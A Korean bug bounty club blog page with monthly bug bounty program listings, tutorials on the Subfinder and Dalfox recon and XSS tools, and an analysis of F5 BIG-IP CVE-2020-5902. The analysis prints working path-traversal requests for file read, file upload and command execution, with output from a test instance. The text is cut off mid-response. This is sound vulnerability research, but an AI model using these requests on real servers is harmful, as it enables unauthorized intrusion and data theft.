Blog


버그바운티 클럽이 전해드리는 이야기를 확인하세요.



[BIG SHOT] 국내 버그바운티 프로그램 소개 - 2021년 9월

8월 한달간 흥미로웠던 사건은 DeFi 플랫폼 "폴리 네트워크 해킹 사건"이었습니다.한 해커가 해킹을 통해 6억달러에 달하는 돈을 가져갔다가 모두 돌려준 사건인데요. 폴리 네트워크는 이 해커에게 50만 달러의 포상금을 지급하는가 하면 수석 보안 고문의 일자리까지 제안했던 것으로 알려졌습니다. 해커는 그저 재미와 교훈을 위해 해킹했다고 대응했는데 그게 그의 말대로 진정한 의도였다면 그는 본인의 재미도 챙기고 폴리 네트워크 뿐 아니라 DeFi 생태계 자체에 참교육을 시전한 셈이네요. 하지만 수사는 계속 진행한다는 말이 있던데 실로 위험천만한 장난이 아니였나 생각되기도 합니다.디파이 플랫폼 폴리 네트워크에서 사라진 6억 달러, 범인들이 일부 반납 ‘미스터 화이트햇’, 훔쳐간 암호화폐 6억 달러 전부 반납6억 달러 잃을 뻔했던 폴리 네트워크, 공격자를 스카우트서론은 마무리하고 아무튼 9월 국내 버그바운티 프로그램을 소개해드립니다. 이번 9월 국내 버그바운티 소개는 아주 초라한 듯 합니다. 사실 지난 8월 글을 작성한 이후 해킹존에서 리딧, 단끝, 제주패스 등 4개의 신규 버그바운티 프로그램을 오픈하였지만 해당 프로그램은 기한이 8/31까지인 관계로 이 글에서 소개해드릴 수가 없는 점이 아쉽습니다. 8월 중에 오픈되었지만 21년 9월에도 여전히 유효한 신규 버그바운티 프로그램은 아쉽게도 버그캠프의 Webhacking.kr 이 유일합니다. 소개를 위한 기준을 변경해야할지 심히 고민되는 달이네요.2021년 9월 국내 버그바운티 프로그램소개되는 버그바운티 프로그램은 프로그램 시작일과 프로그램 시행 기간을 고려하여 선정됩니다. 단, 글 작성 이후에 시작되고 프로그램 시행 기한이 익월에도 유효할 경우 익월 글에 포함될 수 있습니다. Webhacking.kr제공 플랫폼: 버그캠프기간: 2021년 8월 2일 부터최대 현상금: 1,500,000원 타겟 시스템 유형: 웹프로그램 URL: https://bugcamp.io/programs/441035cefaf0279ab99189ea3433443d
 2021-08-30 09:41 KST      821

[BIG SHOT] 국내 버그바운티 프로그램 소개 - 2021년 8월

지난 달부터 우리는 BIG SHOT 이라는 이 코너를 통해 국내에서 새로 시작되는 버그바운티 프로그램을 소개했습니다. 이후 약 한 달이라는 시간이 흘렀고 코로나19는 델타변이의 확산으로 인해 새로운 국면으로 접어들었습니다. 이에 고강도의 사회적 거리두기 속에 모두가 힘든 나날을 보내고 있습니다. 더구나 이스라엘 '엔에스오(NSO)' 그룹의 해킹 프로그램인 "페가수스"가 전 세계 언론인, 인권운동가, 정치인 등의 사찰에 사용되었다는 소식이 전해지면서 매우 혼란스럽고 우려스러운 시간을 걸어가고 있습니다. 하지만 국내 버그바운티 시장에는 반가운 소식도 있었습니다. 바로 새로운 버그바운티 프로그램이 시작되었다는 것입니다. 이는 국내 버그바운티 플랫폼을 운영하는 분들의 노력과 윤리적 해커와의 협업을 신뢰하는 국내 기업들의 인식 개선 및 버그바운티를 통해 보안 수준을 업그레이드하고자 하는 의지의 결과가 아닐까 생각해봅니다. 2021년 8월 국내 버그바운티 프로그램소개되는 버그바운티 프로그램은 프로그램 시작일과 프로그램 시행 기간을 고려하여 선정됩니다. 단, 글 작성 이후에 시작된 경우는 익월의 글에 포함될 수 있는 점 양해 바랍니다. 카티어스 (CATIUS)제공 플랫폼: 해킹존기간: 2021년 7월 26일 - 2021년 8월 31일최대 현상금: 100,000원 (최대 포인트: 100P)타겟 시스템 유형: 모바일 프로그램 URL: https://hackingzone.net/ProgramDetail/28 (로그인 후 확인 가능)모자이카 (MOSAICAR)제공 플랫폼: 해킹존기간: 2021년 7월 26일 - 2021년 8월 31일최대 현상금: 100,000원 (최대 포인트: 100P)타겟 시스템 유형: 모바일프로그램 URL: https://hackingzone.net/ProgramDetail/27 (로그인 후 확인 가능)바스클로피 (BaaSClopi) 제공 플랫폼: 버그캠프기간: 2021년 6월 30일 - 최대 현상금: 100,000원타겟 시스템 유형: 웹프로그램 URL: https://bugcamp.io/programs/45e33cc9e9244f8fbede77ffb9a65f85Wargame.kr제공 플랫폼: 버그캠프기간: 2021년 7월 19일 -최대 현상금: 1,000,000원타겟 시스템 유형: 웹프로그램 URL: https://bugcamp.io/programs/460a759aa8747cacbe5f05028f451441Remote Browser제공 플랫폼: 버그캠프기간: 2021년 7월 21일 -최대 현상금: 500,000원타겟 시스템 유형: 웹프로그램 URL: https://bugcamp.io/programs/475e65db7e2b11c68ac1d7aeeea1bae2
 2021-07-27 09:59 KST      1021

[해킹 도구를 소개합니다 #2] Subfinder: 하위도메인 열거 도구

이번 해도소 코너에서 우리가 소개해드릴 도구는 Subfinder 입니다.Subfinder는 Project Discovery라는 해커와 개발자의 업무 자동화에 필요한 오픈소스 소프트웨어를 개발하는 회사에서 만든 프로그램입니다. 이 도구는 해커가 테스트하려는 타겟 도메인의 잠재적인 하위 도메인을 찾아주는 하위 도메인 열거 도구입니다. 보통 하위 도메인 열거는 정찰, 정보 수집이라고 불리는 초기 단계에서 수행하는 작업으로 취약점을 찾을 수 있는 공격 표면을 확장하고 잠재적으로 취약한 엔드포인트를 발견할 수 있는 확률을 높여주므로 매우 중요한 작업입니다. 이에 우리는 하위 도메인 열거 도구 중 하나인 Subfinder를 소개하기로 결정했습니다. Subfinder 외에도 다양한 하위 도메인 열거 도구가 존재하며 다른 도구들은 Weapons에서 확인이 가능합니다. 설치Subfinder를 설치하기 위해서는 go1.14+가 필요하며 go를 설치하셨다고 가정합니다. Subfinder를 설치할 수 있는 방법은 다음과 같습니다.go를 통한 직접 설치go get -v github.com/projectdiscovery/subfinder/cmd/subfindertar 또는 zip 파일을 통한 설치https://github.com/projectdiscovery/subfinder/releases/ 로 이동하셔서 본인의 환경을 고려해 원하시는 버전을 검토합니다.다음 명령을 통해 Subfinder를 다운로드 받습니다. wget https://github.com/projectdiscovery/subfinder/releases/download/v2.4.8/subfinder_2.4.8_linux_amd64.tar.gztar -zxvf subfinder_2.4.8_linux_amd64.tar.gzmv subfinder /usr/bin/subfinder설치가 끝났다면 다음 명령으로 Subfinder를 실행해봅니다../subfinder아래와 같은 출력화면이 표시된다면 정상적으로 설치가 된 것입니다.출력 화면수동 소스 API 키 설정위의 설치 과정만으로도 Subfinder는 정상적으로 동작합니다. 하지만 Subfinder에서 지원하는 Binaryedge, Certspotter, Censys, Virustotal과 같은 수동 소스의 API 키를 설정해주시면 다양한 수동 소스를 통해 더욱 많은 하위도메인을 찾을 가능성이 높아집니다.수동 소스의 API 키를 설정하기 위해서 $HOME/.config/subfinder/config.yaml 파일을 열어 아래와 같은 내용을 찾습니다. binaryedge: []censys: []certspotter: []chaos: []dnsdb: []github: []intelx: []passivetotal: []recon: []robtex: []securitytrails: []shodan: []spyse: []threatbook: []urlscan: []virustotal: []zoomeye: []그리고 본인이 사용하고자하는 소스의 [ ] 안에 본인의 API 키를 입력합니다. 예를 들면 다음과 같습니다....생략...virustotal: [Enter_your_api_key_here]...생략...사용법단일 도메인 대상 하위 도메인 열거-d 옵션을 사용하면 테스트하고자 하는 타겟에 대해 하위 도메인을 열거할 수 있습니다. 이것은 가장 기본적이고 간단한 사용법입니다../subfinder -d target.com다음은 트위터를 대상으로 실행한 결과입니다. $ ./subfinder -d twitter.com               __    _____           __            _______  __/ /_  / __(_)___  ____/ /__  _____  / ___/ / / / __ \/ /_/ / __ \/ __  / _ \/ ___/ (__  ) /_/ / /_/ / __/ / / / / /_/ /  __/ /    /____/\__,_/_.___/_/ /_/_/ /_/\__,_/\___/_/ v2.4.8 projectdiscovery.ioUse with caution. You are responsible for your actionsDevelopers assume no liability and are not responsible for any misuse or damage.By using subfinder, you also agree to the terms of the APIs used.[INF] Enumerating subdomains for twitter.comcareers.twitter.commta47.e.twitter.comdeveloper-staging.twitter.combbmas.twitter.combrandhub.twitter.comapi-39-4-5-39-4-9.twitter.comema.twitter.com...중간 생략...vpn-lab.smfc.twitter.comaudubon.fra2.twitter.comgoldenglobes.twitter.com[INF] Found 1137 subdomains for twitter.com in 3 seconds 330 milliseconds다수의 도메인 대상 하위 도메인 열거만일 다수의 도메인을 대상으로 실행하고 싶다면 아래와 같이 도메인 리스트가 나열된 파일을 먼저 만드십시요. target1.comtarget2.comtarget3.com...위의 파일을 domains.txt 라는 이름으로 저장했다고 합시다. -dL 옵션을 사용하면 domains.txt 파일에 저장된 각 도메인을 대상으로 하위 도메인을 검색할 수 있습니다../subfinder -dL domains.txt 파일로 결과 저장다음과 같이 -o 옵션을 사용하여 검색 결과를 로컬PC에 파일로 저장할 수 있습니다../subfinder -d target.com -o result.txt수동으로 API 키 설정 파일 지정-config 옵션을 통해 설정 파일을 지정할 수 있습니다../subfinder -config ~/.config/subfinder/config.yaml -d target.com -o result.txt특정 수동 소스 제외 -exclude-sources 옵션을 사용해 검색 시 사용을 원하지 않는 수동 소스를 제외할 수 있습니다../subfinder -exclude-sources censys -d target.com화면에 하위도메인만 출력-silent 옵션을 통해 실행 시 기본으로 표시되는 Subfinder 로고나 알림성 메시지가 출력되지 않도록 할 수 있습니다. 출력에는 검색된 하위 도메인 내역만 표시됩니다../subfinder -silent -d target.com 이 외에도 도움말을 참고하시면 활용할 수 있는 더욱 많은 옵션이 있습니다../subfinder -h버그바운티 실무에서의 Subfinder 활용버그바운티 프로그램의 취약점 점검 대상이 와일드카드 도메인(*.target.com)인 경우에는 하위도메인을 찾아내는 일이 가장 우선되어야 합니다. 따라서 사실상 이 도구를 활용할 수 있는 방법은 보안연구원의 창의력에 달려 있습니다. 다음은 Subfinder 도구를 사용한 사례입니다. 명령에 사용된 다른 도구들은 별도로 설명하지 않습니다.라이브 호스트/도메인/자산 검색 (@YashGoti)subfinder -d http://tesla.com -silent | httpx -silent -follow-redirects -mc 200 | cut -d '/' -f3 | sort -uSubdomain Takerover(하위도메인 인수) 취약점 점검 (@hahwul)subfinder -d {target} >> domains ; assetfinder -subs-only {target} >> domains ; amass enum -norecursive -noalts -d {target} >> domains ; subjack -w domains -t 100 -timeout 30 -ssl -c ~/go/src/github.com/haccer/subjack/fingerprints.json -v 3 >> takeover ; 소개를 마치며지금까지 Subfinder라는 하위 도메인 열거 도구의 설치부터 기본적인 사용법에 대해 소개해드렸습니다. 다양한 하위 도메인 열거 도구가 존재하고 각 도구마다의 장단점이 있습니다. 반드시 Subfinder를 사용해야만 하위도메인을 찾을 수 있는 것은 아닙니다. 개인의 취향이나 선호도에 따라 subfinder가 아닌 다른 도구를 사용하셔도 무방합니다. 버그바운티에 참여하는 보안연구원 대부분은 하위 도메인 열거에 우수한 성능이 입증된 도구 몇 개를 선정해 함께 사용하곤 하며 Subfinder 역시 버그바운티 활동을 하는 많은 보안연구원들이 선택한 도구 중 하나입니다. Subfinder를 통해 빠르고 쉽게 하위 도메인을 찾길 바랍니다. Subfinder Github - https://github.com/projectdiscovery/subfinder
 2021-07-06 10:15 KST      2910

[BIG SHOT] 국내 버그바운티 프로그램 소개 - 2021년 7월

얼마 전 우리는 해킹존, 제로웨일, 버그캠프라는 국내 버그바운티 플랫폼을 발견했습니다. 해킹존에 대해서는 수개월 전부터 알고 있었지만 그 외 플랫폼들이 짧은 기간안에 새로이 탄생하고 서비스를 시작한다는 것은 매우 반가운 소식이였습니다. 인터넷에서는 아래와 같은 기사도 찾아 볼 수 있었습니다.확대되는 민간 '버그바운티' 시장…주도권 경쟁 '활활'국내 기업의 '버그 바운티' 시장 주도권 경쟁은 현재진행형...미래 전망·기업별 전략은?얼마 전까지만 하더라도 한국인터넷진흥원을 선봉장으로 정부에서 주관해오던 국내 버그바운티가 드디어 민간 주도의 시장으로 변하는 길목에 서 있는 것 같습니다. 이 시작의 결과는 모를 일이지만 향후 국내 버그바운티 시장이 해커와 기업들 모두에게 바람직하고 건전한 방향으로 정착해가길 바랄 뿐입니다. 이러한 변화에 맞추어 우리는 국내 버그바운티 프로그램을 소개하는 코너를 만들기로 했습니다.코너의 이름은 "BIG SHOT" 으로 카우보이 비밥이라는 일본 애니메이션에서 자주 등장하는 우주 현상금 사냥꾼을 위한 방송의 이름에서 빌려왔습니다. 사실 "BIG SHOT"이라는 이름에 걸맞지 않게 현상금의 액수가 터무니없이 적은 것은 사실입니다. 하지만 국내 버그바운티 시장은 이제 갓 걸음마 단계인 점을 감안해주시기 바랍니다. 2021년 7월 국내 버그바운티 프로그램소개되는 버그바운티 프로그램은 프로그램 시작일과 프로그램 시행 기간을 고려하여 선정됩니다. 단, 글 작성 이후에 시작된 경우는 익월의 글에 포함될 수 있는 점 양해 바랍니다.  본 글은 첫 프로그램 소개인 관계로 21년 7월 이전에 시작된 버그바운티 프로그램도 일부 포함합니다. Samsung SDS 웹사이트제공 플랫폼: 해킹존기간: 2021년 5월 24일 - 2021년 8월 31일최대 현상금: 10,000,000원타겟 시스템 유형: 웹 프로그램 URL: https://hackingzone.net/ProgramDetail/18 (로그인 후 확인 가능)Samsung Smart Lock제공 플랫폼: 해킹존기간: 2021년 6월 8일 - 2021년 8월 31일최대 현상금: 10,000,000원타겟 시스템 유형: 시판중인 Push Pull 도어록(12종) 외 관련 ‘삼성 스마트 도어록’ Mobile App 및 디바이스 플랫폼 프로그램 URL: https://hackingzone.net/ProgramDetail/24 (로그인 후 확인 가능)글로싸인 - 글로벌 전자계약 서비스제공 플랫폼: 해킹존기간: 2021년 6월 22일 - 2021년 8월 31일최대 현상금: 100,000원타겟 시스템 유형: 웹프로그램 URL: https://hackingzone.net/ProgramDetail/25 (로그인 후 확인 가능)CodeEngn제공 플랫폼: 버그캠프기간: 2021년 6월 10일 - 최대 현상금: 500,000원타겟 시스템 유형: 웹프로그램 URL: https://bugcamp.io/programs/4d39f5f7058e3a6089a17e1beae024ab 한국CISSP협회 대표홈페이지제공 플랫폼: 버그캠프기간: 2021년 6월 7일 -최대 현상금: 100,000원타겟 시스템 유형: 웹프로그램 URL: https://bugcamp.io/programs/4ca1fd4c425ccca6ba9d90911a5dd908모꼬지심제공 플랫폼: 제로웨일기간: 2021년 4월 9일 - 2021년 12월 31일 최대 현상금: 700,000원타겟 시스템 유형: 웹프로그램 URL: https://zerowhale.io/mokojisim 
 2021-06-29 14:03 KST      1551

[해킹 도구를 소개합니다 #1] Dalfox: 매개변수 분석 및 XSS 스캐너

웹 애플리케이션 취약점 진단시 빠뜨릴 수 없는 취약점 중 하나는 XSS입니다. XSS는 매우 고전적인 취약점이지만 여전히 가장 빈번하게 발견되는 취약점이기도 합니다. "해킹 도구를 소개합니다"에서 첫번째로 소개드릴 도구는 XSS 식별을 위해 제작된 하훌(@Hahwul)님의 Dalfox입니다. 트위터에서 활발히 활동하는 버그바운티 헌터 중 우리나라(대한민국) 사람은 찾아보기 힘듭니다만 하훌님은 뛰어난 웹 해킹 실력을 보유한 우리나라의 버그바운티 헌터입니다. Dalfox 외에도 다른 도구를 제작하거나 토이 프로젝트를 통해 버그바운티 분야에 공헌하기도 하며 이미 버그바운티 분야에서 꽤나 유명인사가 되어 계시죠.  그의 설명에 따르면 Dalfox는 golang/DOM 파서를 기반으로 한 매개변수 분석 및 XSS 취약점을 스캔하기 위한 커맨드라인 도구입니다. Dalfox라는 이름에서 Dal은 말그대로 한국어로 '달'을 뜻하며, fox는 Find Of XSS의 머리글자입니다. Dalfox의 로고를 한번 보시면 도구의 이름을 감각적으로 잘 표현했다는 것을 볼 수 있습니다. (웹브라우저인 파이어폭스와 조금 비슷하다고 느끼는 것은 아마도 기분 탓일겁니다. :D )설치Ubuntu를 사용하는 경우에는 아래와 같이 단 한줄의 명령만 실행하면 설치할 수 있습니다.sudo snap install dalfox정상적으로 설치되면 아래와 같은 메세지를 볼 수 있습니다.설치가 제대로 되었는지 확인하기 위해 dalfox 명령을 실행해봅니다.dalfoxUbuntu 외에도 Mac OS에서도 설치하여 사용하실 수 있으며, 소스를 통한 설치도 가능합니다.사용법dalfox의 기본 사용법은 아래의 형식을 따릅니다.dalfox [mode] [flags] [data]dalfox는 상황에 따른 다양한 모드를 지원합니다. 현재 지원되는 모드는 아래 5개의 모드가 있습니다.URL 모드(싱글 타겟 모드)파이프라인 모드파일 모드(멀티 타겟 모드)SXSS 모드서버 모드(REST API)URL 모드 (싱글 타겟 모드)URL 모드는 단일 URL에 대한 분석 및 검사를 수행합니다.dalfox url http://testphp.vulnweb.com/listproducts.php아래의 실행 결과를 보시면 지정된 URL을 분석하여 XSS를 검출했음(검사 결과 마지막 부분)을 확인할 수 있습니다. 흥미로운 점은 dalfox에 내장된 데이터베이스 에러 메시지가 노출되는지 검사해주는 점입니다. 에러 메시지가 노출되는 엔드포인트를 통해 SQL 인젝션 공격 또한 시도해볼 수 있겠네요. 파이프라인 모드파이프라인 모드는 시스템 I/O로 입력을 받아 다수의 URL을 대상으로 검사를 수행할 수 있습니다.파이프라인 모드를 사용하면 다른 도구의 출력을 dalfox의 입력으로 사용하는 것이 가능합니다.echo 'urls.txt' | dalfox pipedwisiswant0의 깃허브에 정리해둔 유용한 버그바운티 Oneliner에도 dalfox를 파이프라인 모드로 사용한 사례가 있습니다. (아래 명령어의 뒷 부분)gospider -S targets_urls.txt -c 10 -d 5 --blacklist ".(jpg|jpeg|gif|css|tif|tiff|png|ttf|woff|woff2|ico|pdf|svg|txt)" --other-source | grep -e "code-200" | awk '{print $5}'| grep "=" | qsreplace -a | dalfox pipe | tee result.txt파일 모드 (멀티 타겟 모드)다수의 URL을 검사할 수 있다는 점에서 파이프라인 모드와 유사하지만 검사할 URL 목록을 가진 파일명을 입력으로 받습니다. dalfox file urls.txtBurp Suite이나 ZAProxy의 원시 요청 파일을 입력으로 사용해 검사를 수행할 수 있는 기능을 제공합니다.dalfox file req.raw --rawdataSXSS 모드SXSS 모드는 저장된 XSS(Stored XSS)를 스캔하기 위한 모드입니다. 기본 사용법은 아래와 같습니다. dalfox sxss {TARGET-URL} -d {POST-DATA} --trigger {VERIFY_URL}{TARGET_URL}에는 XSS 페이로드를 주입할 수 있는 URL을 입력하고 -d 옵션으로 POST 데이터를 지정할 수 있습니다. 그리고 --trigger 옵션을 사용해 주입된 XSS 페이로드가 실행되는지 검사할 URL을 지정하여 저장된 XSS에 취약한지 테스트할 수 있습니다. dalfox sxss http://example.com/update_profile -d name=foo --trigger "http://example.com/view_profile"서버 모드dalfox가 서버로서 동작하며 웹 요청을 사용해 스캔을 수행할 수 있는 모드입니다. 현재 Swagger를 지원합니다.dalfox server --host 0.0.0.0 --port 8090소개를 마치며지금까지 Dalfox의 매우 기초적인 사용법에 대해서만 간단히 소개해드렸습니다. Dalfox는 타겟 URL을 분석하여 XSS 및 SQL 인젝션, SSTI, Open Redirect 등의 기본적인 웹 취약점을 식별하기 위해 매우 유용하게 사용할 수 있는 도구입니다. 여기서 소개해드린 사용법 외에도 여러분의 XSS 사냥을 위한 다양한 옵션들이 제공됩니다. 하훌님의 Dalfox 웹사이트를 방문하여 더 자세한 내용을 확인해보세요.제가 아는 한 Dalfox의 제작자 하훌님은 이 도구에 남다른 애착을 갖고 기능을 개선하는 등 활발히 활동하고 있습니다. 훌륭하고 멋진 도구를 제작하여 무료로 공개해 준 그의 배려와 노력에 감사드리며, XSS를 찾기 위해 고생하고 계실 다른 헌터분들께dalfox가 조금이나마 도움이 되기를 바랍니다.
 2021-05-24 11:20 KST      2487

F5 BIG-IP TMUI RCE 취약점(CVE-2020-5902)

지난 주에 Positive Technologies사의 보안 연구원인 Mikhail Klyuchnikov에 의해 F5 BIG-IP 애플리케이션 보안 서버의 설정 유틸리티인 TMUI(Traffic Management User Interface)에 존재하는 RCE 취약점이 공개되었습니다. Mikhail Klyuchnikov 트윗:My F5 BIG-IP Unauth Remote Command Execution (CVE-2020-5902). Please update your software.https://t.co/l8KpYJ9YvH— n1✴️ (@__mn1__) July 2, 2020Mikhail Klyuchnikov 연구원은 취약점을 공개하면서 아래와 같이 밝혔습니다.“이 취약점을 악용함으로써 BIG-IP 설정 유틸리티에 접근할 수 있는 원격 공격자는 인증없이 원격 코드 실행 (RCE)을 수행할 수 있습니다. 공격자는 파일 생성 및 삭제, 서비스 비활성화, 정보 탈취 및 임의의 시스템 명령과 Java 코드를 실행하고, 시스템을 완전히 손상시키며, 내부 네트워크로 공격을 확장할 수 있는 추가적인 대상을 탐색할 수 있습니다. 이 경우 RCE는 디렉토리 탐색을 허용하는 것과 같은 여러 구성 요소의 보안 결함으로 인해 발생합니다. 이는 F5 BIG-IP 웹 인터페이스가 Shodan과 같은 검색 엔진에 노출된 회사에 특히 위험합니다. 다행히도이 제품을 사용하는 대부분의 회사는 인터넷에서 인터페이스에 액세스 할 수 없습니다. "이 글을 작성하는 시점 기준으로 Shodan에서 확인해 본 결과, 약 8,400여개가 넘는 취약한 호스트가 검색되었으며, 3,012개의 서버가 취약한 것으로 나타났다고 합니다. 한국은 미국, 중국, 대만에 이어 4위로 약 200여대가 노출되어 있는 것으로 나타나네요.Shodan 검색 결과Bad Packets 트윗:Our latest CVE-2020-5902 scans have identified 3,012 vulnerable F5 hosts worldwide.Bad Packets vulnerability scan results are freely available for authorized government CERT, CSIRT, and ISAC teams.Submit request here: https://t.co/0eV9Go1Fsw https://t.co/Sh4lAHpQVn— Bad Packets (@bad_packets) July 7, 2020또한, NCC Group에 의하면 취약한 호스트에서 "web.xml"이나 "/etc/hosts" 파일을 캡쳐하는 등 실제 스캔 및 공격이 감지되고 있다고 하며, 버그 바운티 헌터 및 공격자들에게 엄청나게 매력적인 취약점인지라, 이 취약점이 공개된 이후 너도 나도 할 것 없이 공략하고 있나 봅니다.트위터에는 이런 짤도 등장했네요. 취약한 것으로 알려진 제품 및 버전아래의 취약한 제품을 사용하고 있다면 F5의 보안 권고에 따라 최신 릴리즈로 업그레이드를 해야 합니다.제품버전BIG IP(LTM, AAM, AFM, Analytics, APM,ASM, DNS, FPS, GTM, Link Controller, PEM)15.1.0~15.0.0, 14.1.0~14.1.2, 13.1.0~13.1.3, 12.1.0~12.1.5, 11.6.1~11.6.5분석CVE-2020-5902 취약점은 취약한 F5 BIG-IP를 사용하는 서버의 설정 인터페이스인 TMUI에 대한 접근이 BIG-IP 관리 포트 및 Self IP에 의해 노출될 경우 특수하게 조작된 HTTP 요청을 보내는 방식으로 악용될 수 있습니다. Self IP란? VLAN의 호스트에 접근하기 위한 BIG-IP 시스템의 IP주소. (F5 기술문서 참조)여기서, "특수하게 조작된 HTTP 요청"이란 Mikhail Klyuchnikov 연구원이 밝힌 바와 같이 디렉토리 탐색 취약점에 주로 사용되는 문자열이 핵심이 됩니다. 바로 이겁니다.F5의 보안 권고를 보면 모든 네트워크 인터페이스에서의 보안 조치로 httpd 설정에 아래와 같이 설정을 하라고 권고하고 있습니다. include '<LocationMatch ".*\.\.;.*">Redirect 404 /</LocationMatch>'즉, "*..;" 문자열을 포함하는 모든 URL에 대해 404 에러 페이지로 리디렉션하도록 권장하고 있습니다.추측컨데, /tmui/login.jsp와 같은 URL에서 "..;" 문자열을 통해 상위 디렉토리로 이동시킨 후 인증이 필요한 페이지로 접근 시 인증되지 않은 사용자도 접근이 가능한 것으로 보입니다. 일종의 인증 우회 취약점이라고 볼 수도 있겠네요. 정확한 원인은 좀 더 분석을 해봐야 할 것 같네요.아무튼 이 취약점을 악용하면 로컬 파일 포함(LFI)과 파일 업로드, 원격 코드 실행(RCE)이 가능한 엔드포인트로 접근이 가능하게 됩니다. 해당 엔드포인트는 아래와 같습니다.로컬 파일 포함(LFI)https://TARGET/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwdhttps://TARGET/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/hostshttps://TARGET/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.licensehttps://TARGET/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.conf파일 업로드https://TARGET/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp원격 코드 실행(RCE)https://TARGET/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin(LTM, AAM, AFM, Analytics, APM, ASM, DNS, FPS, GTM, Link Controller, PEM데모F5 BIG-IP Virtual Edition의 평가판 중 BIG-IP 15.1.0.2-0.0.9 LTM을 다운로드 받아서 직접 테스트해보았습니다.아래는 설정을 마친 후 BIG-IP의 서버로 접근 시 처음 나타나는 TMUI의 로그인 페이지입니다.이 로그인 페이지의 URL 뒤에 각각의 문자열을 추가하여 요청을 해보겠습니다.디렉토리 리스트 조회[요청]GET /tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/usr/local/www/ HTTP/1.1 Host: 192.168.0.21 Connection: close ...[응답]HTTP/1.1 200 OK Date: Tue, 07 Jul 2020 15:55:29 GMT Server: Apache ... {"output":{"dir":"www","children":[{"dir":"avr","children":[{"file":".htaccess"},{"dir":"api","children":[{"file":"cli.php"},{"file":"device-groups.php"},{"file":"dos-profiles.php"},{"file":"exportPDF.php"},{"file":"get-dos-attacks.php"},{"file":"monp2rjd.php"}]},{"dir":"app","children":[{"dir":"dos","children":[{"dir":"images","children":[{"file":"ajax-loader.blue.gif"},{"file":"ajax-loader.gif"}]},{"dir":"js","children":[{"dir":"charts","children":[{"dir":"AttacksChart","children":[{"file":"attacksChart.css"},{"file":"attacksChart.directive.ts"},{"file":"attacksChart.view.html"}]},{"dir":"DimensionBreakdownChart","children":[{"file":"dimensionBreakdownChart.css"},{"file":"dimensionBreakdownChart.directive.ts"},{"file":"dimensionBreakdownChart.view.html"}]},{"dir":"DimensionStatusChart","children":[{"file":"dimensionStatusChart.css"},{"file":"dimensionStatusChart.html"},{"file":"dimensionStatusChart.ts"}]},{"dir":"GeoMapChart","children":[{"file":"geoMapChart.css"},{"file":"geoMapChart.directive.ts"},{"file":"geoMapChart.view.html"},{"file":"topojson.d.ts"}]},{"file":"charts.ts"}]},...로컬 파일 포함(LFI)[요청]GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd HTTP/1.1 Host: 192.168.0.21 Connection: close ... [응답]HTTP/1.1 200 OK Date: Tue, 07 Jul 2020 15:57:35 GMT Server: Apache ... {"output":"root:x:0:0:root:\/root:\/bin\/bash\nbin:x:1:1:bin:\/bin:\/sbin\/nologin\ndaemon:x:2:2:daemon:\/sbin:\/sbin\/nologin\nadm:x:3:4:adm:\/var\/adm:\/sbin\/nologin\nlp:x:4:7:lp:\/var\/spool\/lpd:\/sbin\/nologin\nmail:x:8:12:mail:\/var\/spool\/mail:\/sbin\/nologin\noperator:x:11:0:operator:\/root:\/sbin\/nologin\nnobody:x:99:99:Nobody:\/:\/sbin\/nologin\ntmshnobody:x:32765:32765:tmshnobody:\/:\/sbin\/nologin\nadmin:x:0:500:Admin User:\/home\/admin:\/sbin\/nologin\nsupport:x:0:0:support:\/root:\/bin\/bash\nf5emsvr:x:975:975:F5 EM Service Account:\/root:\/bin\/false\nvcsa:x:69:69:virtual console memory owner:\/dev:\/sbin\/nologin\ndbus:x:81:81:System message bus:\/:\/sbin\/nologin\nsystemd-bus-proxy:x:974:998:systemd Bus Proxy:\/:\/sbin\/nologin\nsystemd-network:x:192:192:systemd Network Management:\/:\/sbin\/nologin\npolkitd:x:27:27:User for polkitd:\/:\/sbin\/nologin\nnslcd:x:65:55:LDAP Client User:\/:\/sbin\/nologin\ntss:x:59:59:Account used by the trousers package to sandbox the tcsd daemon:\/dev\/null:\/sbin\/nologin\npostgres:x:26:26:PostgreSQL Server:\/var\/local\/pgsql\/data:\/sbin\/nologin\ntomcat:x:91:91:Apache Tomcat:\/usr\/share\/tomcat:\/sbin\/nologin\nhsqldb:x:96:96::\/var\/lib\/hsqldb:\/sbin\/nologin\nsshd:x:74:74:Privilege-separated SSH:\/var\/empty\/sshd:\/sbin\/nologin\nrpc:x:32:32:Rpcbind Daemon:\/var\/lib\/rpcbind:\/sbin\/nologin\nntp:x:38:38::\/etc\/ntp:\/sbin\/nologin\nf5_remoteuser:x:499:499:f5 remote user account:\/home\/f5_remoteuser:\/sbin\/nologin\ntcpdump:x:72:72::\/:\/sbin\/nologin\noprofile:x:16:16:Special user account to be used by OProfile:\/:\/sbin\/nologin\nsdm:x:191:996:sdmuser:\/var\/sdm:\/bin\/false\nnamed:x:25:25:Named:\/var\/named:\/bin\/false\napache:x:48:48:Apache:\/usr\/local\/www:\/sbin\/nologin\nsyscheck:x:199:10::\/:\/sbin\/nologin\nmysql:x:98:98:MySQL server:\/var\/lib\/mysql:\/sbin\/nologin\nrestnoded:x:198:198::\/:\/sbin\/nologin\n"}파일 업로드[요청]POST /tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp HTTP/1.1 Host: 192.168.0.21 Connection: close ... fileName=/tmp/bigip-vuln.txt&content=bugbountyclub[응답]HTTP/1.1 200 OK Date: Tue, 07 Jul 2020 16:00:02 GMT Server: Apache ...LFI 취약점에 사용한 엔드포인트를 통해 bigip-vuln.txt 파일이 정상적으로 생성되었는지 확인해보니 아래와 같이 성공적으로 파일이 만들어졌음을 확인할 수 있습니다.원격 코드 실행(RCE)F5 BIG-IP는 TMSH이라고 하는 CLI 환경을 제공합니다. TMSH에서 사용할 수 있는 명령어는 여기를 참고하세요.[요청]GET /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin HTTP/1.1 Host: 192.168.0.21 Connection: close ...[응답]HTTP/1.1 200 OK Date: Wed, 08 Jul 2020 09:54:45 GMT Server: Apache ... {"error":"","output":"auth user admin {\n description \"Admin User\"\n encrypted-password 